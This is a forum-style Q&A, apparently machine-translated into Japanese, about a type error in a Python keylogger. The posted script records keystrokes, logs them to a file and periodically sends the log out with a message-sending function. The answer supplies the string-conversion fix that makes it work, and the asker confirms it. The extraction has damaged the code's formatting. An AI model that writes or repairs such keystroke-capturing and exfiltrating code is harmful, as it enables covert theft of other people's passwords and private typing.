deffile_input(recorded):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
if name == "main":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
pythonでキーロガーを書き込もうとすると、そのようなタイプのエラーに直面しました。どうすればこの問題を解決できますか?
記録された変数をwrite()に入れるだけで型エラーが発生し、記録された変数の型はリストになります。だから私はjoin funcを使用しようとしましたが、うまくいきませんでした
w.write()
を使用してファイルに書き込もうとしていますが、引数として文字列のみを受け取ります。 _now_time
_は 'datetime'型であり、文字列ではありません。日付をフォーマットする必要がない場合は、代わりにこれを行うことができます:
_w.write(str(nowtime))
_
と同じこと
_w.write(recorded)
_
recorded
はイベントのリストです。文字列をファイルに書き込む前に、それを使用して文字列を作成する必要があります。例えば:
_recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))
_
次に、file_input()
関数内で次のことができます。
_w.write(typedstr)
_
w.write(str(recorded))
に変更することで、私の問題は解決しました。